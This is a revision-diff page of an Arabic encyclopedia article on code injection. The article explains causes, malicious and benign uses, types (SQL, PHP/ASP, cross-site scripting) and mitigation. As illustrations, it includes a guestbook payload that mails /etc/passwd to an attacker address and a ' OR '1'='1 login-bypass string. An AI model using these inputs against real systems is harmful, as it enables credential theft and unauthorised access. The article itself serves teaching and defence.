حقن النصوص البرمجية: الفرق بين النسختين

[مراجعة غير مفحوصة][مراجعة غير مفحوصة]
تم حذف المحتوى تمت إضافة المحتوى
CipherBot (نقاش | مساهمات)
CipherBot (نقاش | مساهمات)
ط بوت: إصلاح التحويلات; تغييرات تجميلية
سطر 1:
'''البرمجة بالحقن (Code Injection)''' هي إحدى الطرق لإيصال أو حقن الجمل البرمجية إلى [[برنامج (توضيح)|برنامج]] أو نظام ما، مستفيداً من الافتراضات الخاطئة وغير [[مراقبة|المراقبة]]، التي يفترضها النظام متعلقاً بالإدخال الذي يتم لهذا النظام.
السبب الرئيسي للبرمجة بالحقن هو تجنب أو تعديل الوظيفة الأساسية [[برنامج (توضيح)|للبرنامج]]، للوصول إلى ما يحتاجه [[كراكرقرصان حاسوب|المخترق]]، وإذا كانت الوظيفة هي [[أمن|حفظ أمان]] النظام، فإن النتائج ستكون كارثية.
== مثال بسيط على البرمجة بالحقن ==
معظم [[خادم (معلوماتية)|خادمات]] [[موقع ويب|الويب]] تحتوي على "دفتر الزوار" لكتابة بعض الملاحظات، وهو ما يستقبل عادة رسائل صغيرة من المستخدمين، والتي من المكن أن تكون:
"لقد زرت الموقع .. وكان رائعاً جداً" .. ولكن [[كراكرقرصان حاسوب|المخترق]] ومن خلال هذه التقنية يستطيع أن يصل إلى [[معلومة|معلومات]] ما على الجهاز [[خادم (معلوماتية)|الخادم]]، وذلك بإضافته لبعض الجمل البرمجية في هذه المساحة، والتي من الممكن أن تكون هذه الجملة :
; cat /etc/passwd | email attacker@example.com #
والتي من خلالها سيبعث [[خادم (معلوماتية)|جهاز الخادم]] بالملف المدعو (passwd) إلى [[بريد إلكتروني|بريد]] [[كراكرقرصان حاسوب|المخترق]]، مزودةً بجميع [[كلمة سر|كلمات السر]] الموجودة عند [[خادم (معلوماتية)|الجهاز الخادم]]، وهو ما سيُحدث مشاكل كثيرة لزائري هذا الموقع.
أغلب هذا المشاكل تحدث مرتبطة بالافتراضات الخاطئة – كما ذكرنا سابقاً- عن الإدخالات المحتملة للنظام، أو تأثير بعض البيانات على هذا النظام. وبعض الأمثلة على هذه الافتراضات التي يقوم [[مبرمج|مطور النظام]] عند الإدخال [[برنامج (توضيح)|للبرنامج]] هي:
* افتراضات متعلقة ببعض [[حرف|الأحرف]] و[[رقم|الأرقام]] التي ليس لها معنى مباشر، وإنما تحتوي على معاني مميزة [[برنامج (توضيح)|للبرامج الحاسوبية]]، ويفترض عندها [[مبرمج|المبرمج]] أنها لن تستخدم للإدخال، ولكن [[كراكرقرصان حاسوب|المخترقين]] لكون لهم رأي آخر.
* الافتراض بأن [[رقم|الأرقام]] فقط تستخدم للإدخال.
* الافتراض بأن حجم الإدخال لن يتجاوز الحجم المحدد الذي وضعه [[مبرمج|المبرمج]].
سطر 16:
==== أغراض تخريبية (Malevolent) ====
الاستخدام الأساسي لهذه التقنية عادة ما يكون تخريبياً، فقد تستخدم البرمجة بالحقن في أوساط الأنظمة التخريبية أو التدميرية للحصول على [[معلومة|معلومات]] أو امتيازات محددة أو الدخول للأماكن غير المسموح بها في أنظمة معينة. كما يمكن أن تستخدم البرمجة بالحقن تخريبياً للوصول إلى:
* تغيير بعض القيم بطريقة اعتباطية في [[قاعدة بيانات|قواعد البيانات]] عبر إحدى أنواع هذه التقنية والتي تدعى بـ([[اختراق لغة الاستعلام البنيوية|SQL Injection]])، وتأثير هذا التخريب يتراوح بين تشويه المعلومات على [[موقع ويب|الموقع]]، إلى الإطلاع على بعض المعلومات الحساسة.
* سرقة بعض المعلومات المخزنة على [[موقع ويب|المواقع]] في الكعكات، من خلال [[لغة برمجة|لغات برمجة]] مثل [[لغة ترميز النص الفائق|HTML]] ، ويتم هذا خلال نوع مشهور من التخريب وهو [[برمجة عبر مواقع|البرمجة عبر المواقع]].
* تنزيل بعض [[برنامج (توضيح)|البرامج]] أو تنفيذ بعض الجمل البرمجية التخريبية على [[خادم (معلوماتية)|الخادم]] الرئيسي للموقع عير [[لغة برمجة|لغات برمجة]] مثل [[صفحات خادم نشطة|ASP]] و[[بي إتش بي|PHP]].
==== أغراض غير تخريبية (Benevolent) ====
يمكن أن تستخدم هذا التقنية لأغراض خيرة، كأن يحاول مستخدم ما تعديل [[برنامج (توضيح)|البرنامج]] وإضافة بعض الجمل إليه لتحسين أدائه وفعاليته، وخلال هذا الفعل فهو يساعد هذا النظام على تحسين نفسه بدون إيذاء أحد. ومن الأمثلة على ذلك إضافة عمود إلى [[صفحةموقع ويب|صفحة]] نتائج البحث لم يكن موجوداً قبلاَ، ولكنه بذلك يوفر الكثير من الوقت والعمل. أو تنظيم البيانات أو تحسينها أو جمعها عبر حقل جديد لا يظهر علناً على [[موقع ويب|الموقع]].
ويلجأ المستخدم عادةً لهذه التقنية لأحد الأسباب التالية:
* تعديل [[منتج|المنتج]] بالشكل المطلوب غير ممكن.
* تعديل [[منتج|المنتج]] مكلف بشكل يتجاوز الإمكانات المادية المتوفرة.
* تعديل [[منتج|المنتج]] يؤثر على أمور أخرى حساسة.
ولكن هذا الاستخدام لهذه التقنية مستنكر بشكل شديد في أوساط [[مبرمج|المبرمجين]] عامة، وما يزال يدعى بالاختراق أو الهجوم. لكن بعض [[برنامج (توضيح)|البرمجيات]] تسمح أو حتى تحفز هذا النوع من البرمجة بالحقن لتحسين [[منتج|منتجاتهم]]، ويعزى هذا عادةً لكون هذه الطريقة هي أقل كلفة لتحسين [[منتج|المنتج]] بدلاً من شراء [[منتج|منتجات]] أخرى جديدة. وبشكل عام يبقى هذا الاستخدام لهذه التقنية غير مشجع.
=== استخدام غير متعمد ===
يمكن لبعض المستخدمين العاديين القيام بالبرمجة بالحقن بدون علمهم، من خلال قيامهم بإدخال [[بيانات]] لم يتم اعتبارها ممكنة الاستخدام من قبل مستخدمين عاديين من قِبل الذي طوروا النظام من البداية. فمثلاً:
* قيام المستخدم بإدخال خاطئ لأحد [[رمز|الرموز]]، مما يعتبره النظام رمزاً ذا معنى آخر، مثل الإشارات التالية &، %، $.
* أن يبعث المستخدم [[ملفمستحث|بملف]] مشوه، ممكن أن تتم معالجته بإحدى النظم، ولكنه ممكن أن يؤثر على نظام آخر.
== بعض أنواع البرمجة بالحقن ==
* [[إس كيو إل|SQL]]: يستفيد [[كراكرقرصان حاسوب|المخربين]] هنا من طريقة عمل هذه [[لغة برمجة|اللغة]] لحقن بعض الجمل البرمجية التي تهدف إلى قراءة أو تغيير بعض من [[قاعدة بيانات|قاعدة البيانات]]، أو لتغيير الهدف الرئيسي من بعض وظائف النظام. ومثال على ذلك، هي المعلومات للدخول إلى أي نظام والتي تتطلب اسم المستخدم وكلمة السر، وهناك يستطيع المخرب إدخال " password' OR '1'='1" مما يمكن [[كراكرقرصان حاسوب|المخرب]] بالدخول للنظام من دون أي كلمة سر.
* [[بي إتش بي|PHP]] و[[صفحات خادم نشطة|ASP]]: يتمكن [[كراكرقرصان حاسوب|المخرب]] بهما من لإيصال الجمل البرمجية إلى جهاز [[خادم (معلوماتية)|الخادم]] مباشرة، وهنا عادة ما يستفيد [[كراكرقرصان حاسوب|المخربون]] من نقاط الضعف الموجودة على جهاز [[خادم (معلوماتية)|الخادم]] نفسه .
* [[لغة ترميز النص الفائق|HTML]]: وهنا يكون عمل [[كراكرقرصان حاسوب|المخرب]] من خلال ما يدعى بـ"[[برمجة عبر مواقع|البرمجة عبر الموقع]]"، وهو ما يمكن [[كراكرقرصان حاسوب|المخرب]] من إدخال الجمل البرمجية من خلال [[موقع ويب|مواقع]] [[إنترنت|الإنترنت]]، وهناك نوعان من هذا الهجوم: متغير ولا يؤثر على [[خادم (معلوماتية)|جهاز الخادم]]، وثابت وهو الذي يغير البيانات على جهاز [[خادم (معلوماتية)|الخادم]] ذاته.
== الحد من مشكلة البرمجة بالحقن ==
للحد من البرمجة بالحقن، يتم إرفاق ما يدعى "[[معالجة آمنة لنظم الإدخال والإخراج]]" (Secure input and output handling )، التي تراقب كل ما يتم إدخاله إلى النظام وكل ما ينتج عنه.